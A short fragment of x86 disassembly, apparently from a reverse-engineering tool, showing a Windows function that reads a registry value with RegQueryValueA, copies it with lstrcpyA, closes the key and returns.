push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc